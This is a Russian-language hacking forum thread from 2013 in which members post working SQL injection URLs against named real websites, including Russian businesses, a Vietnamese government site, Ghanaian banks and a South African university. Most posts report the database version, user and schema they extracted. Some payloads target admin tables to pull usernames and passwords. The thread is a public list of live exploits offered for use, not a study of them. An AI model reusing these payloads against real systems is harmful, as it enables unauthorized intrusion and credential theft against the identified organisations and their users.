SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://www.dazer.ru/news/?id=-1+union+select+1,version%28%29,3,4,5


    http://www.diavia.ru/index.php?part_id=-15310+union+select+1,user%28%29
     
    #15341 OxoTnik, 21 Apr 2013
    Last edited: 21 Apr 2013
  2. LomasterII

    LomasterII New Member

    Joined:
    7 Jan 2013
    Messages:
    23
    Likes Received:
    4
    Reputations:
    5
    Юридический сайт

    http://www.yurclub.ru/catalog/geo.list.php?s=300'+and+1=0+union+select+1,version()+--+

    database: npyurclub_ctlg
    version: 5.5.27
    user: npyurclub_ctlg@localhost
     
  3. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.davidgerstein.com/list.ph p?cat=2&&scat=-76+union+select+@ @versi on+--+
     
  4. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    db: Eldpgrads
    user: [email protected]

    db:db271044565
    user:[email protected]
     
  5. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    db:kristof_buntinx
    user:kristof_versace@localhost
    version:5.1.68-cll

    db:semsk_main
    user:semsk_main@localhost
    version:5.0.95
     
  6. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.miragallery.com/Ayala Ba r.p hp? c ati d=-237 +union+select+concat_ws(0x3a,ve rsion(),us er(),databas e()),2+--+
    
     
  7. goot

    goot New Member

    Joined:
    25 Mar 2013
    Messages:
    2
    Likes Received:
    1
    Reputations:
    5
    тиц 70
    db:avpu
    avpu2

    user:avpu@localhost
    version:5.1.49-community
     
  8. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://wheriz.es/blog.php?id=25+union+select+1,2,3,version%28%29,database%28%29,user%28%29,7--
     
  9. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://kiemlamkiengiang.gov.vn/news.php?id=46+/**/union/**/+/* */select/**/+1,2,@ @basedir,concat_ws(0x3a,ver sion(),user(),database()),5,6,7,8,9+--+
     
  10. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    amitour.ru
    PHP:
    http://www.amitour.ru/new/hotels/hotel_card.php?id=6746+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+

    (CY) 150
    (PR) 4
    5.1.41-log

    =============================================
    masterdoor.ru

    PHP:
    http://www.masterdoor.ru/index.php?link=2150%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 30
    (PR) 2
    5.1.49-rel11.3-log

    ==============================================
     
    #15350 qaz, 23 Apr 2013
    Last edited: 23 Apr 2013
  11. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://senesco.com/newsitem.php?id=-211+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5--
     
  12. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://bshina.ru/diski/disk.php?id=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,version%28%29





    http://www.grafikraboty.ru/month.php?id=-2+union+select+1,2,version%28%29,4,5




    http://www.parekhgroup.in/fuel.php?id=-3+union+select+1,2,3,4,concat_ws%280x3a,admin_id,admin_user,admin_pass%29,6,7,8,9,10+from+admin_management
     
    #15352 OxoTnik, 24 Apr 2013
    Last edited: 24 Apr 2013
  13. eksin

    eksin Elder - Старейшина

    Joined:
    26 Sep 2011
    Messages:
    64
    Likes Received:
    30
    Reputations:
    39

    xxxxxxxxxx
     
  14. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    sia.ru

    PHP:
    http://sia.ru/?section=484&action=show_news&id=-255045+union+select+1,2,3,4,5,6,7,version%28%29,9,10--+
    (CY) 700
    (PR) 4
    5.5.9-log

    =============================================
    www.zaki.ru

    PHP:
    http://zaki.ru/pagesnew.php?id=2684+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 240
    (PR) 5
    5.5.30-1~dotdeb.0-log

    ==============================================
    www.wmag.ru

    PHP:
    http://www.wmag.ru/search.php?page=3&search=%EA%EE%ED%F2%E0%EA%F2%EE%F0%FB%27%29+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 50
    (PR) 2
    4.1.22-lk-log

    =============================================
    machanaim.org

    PHP:
    http://www.machanaim.org/faq/q_show.php?id=1+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 850
    (PR) 5
    4.1.24-log

    =============================================
    investstanok.ru

    PHP:
    http://www.investstanok.ru/cnccenters/id=652+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 274
    (PR) 3
    5.0.37-standard

    =============================================
     
    #15354 qaz, 25 Apr 2013
    Last edited: 25 Apr 2013
    3 people like this.
  15. LomasterII

    LomasterII New Member

    Joined:
    7 Jan 2013
    Messages:
    23
    Likes Received:
    4
    Reputations:
    5
    вот вам
    astra.enaza.ru/swgo/?i=100209'+and+1=0+union+select+1,2,user()+--+


    вывод в адресной строке, посмотрите)))
    первый раз такую встречаю)
     
    2 people like this.
  16. LomasterII

    LomasterII New Member

    Joined:
    7 Jan 2013
    Messages:
    23
    Likes Received:
    4
    Reputations:
    5
    http://supercomp.kiev.ua/index.php?menu=95&add=50110339+and+1=0+union+all+select+1,user(),3,4,5,6,7,8
     
  17. Groove

    Groove Member

    Joined:
    13 Nov 2010
    Messages:
    183
    Likes Received:
    22
    Reputations:
    2
    http://spcala.com/special_events/event.php?id=999.9+union+select+1,2,3,4,5,6,7,8,VERSION(),10,11,12,13
     
  18. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Agricultural Development Bank of Ghana

    Code:
    http://agr icbank.com/en/products-services/products.php?c=4&p=-21+union+sele ct +1,conc at_ws(0x3a,version(),user( ),da tabase()),@@ basedir,4,5,6,7, 8,9,1 0,11--
     
  19. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.ul.ac.za/conf/main/index.php?Entity=Conference_Information&TheID=79';+select+cast(username||chr(58)||password+as+int)+from+users.admin--
     
    _________________________
    2 people like this.
  20. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Fidelity Bank Ghana

    Code:
    http://www.fidelitybank.com.gh/en/products-services/pro duct s.php?c=9&p=-1+union+select+1,con cat_ws(0x3a,v ersion(),user(),da tabase()),3,4,5,6,7,8,9,10,11--
     
Thread Status:
Not open for further replies.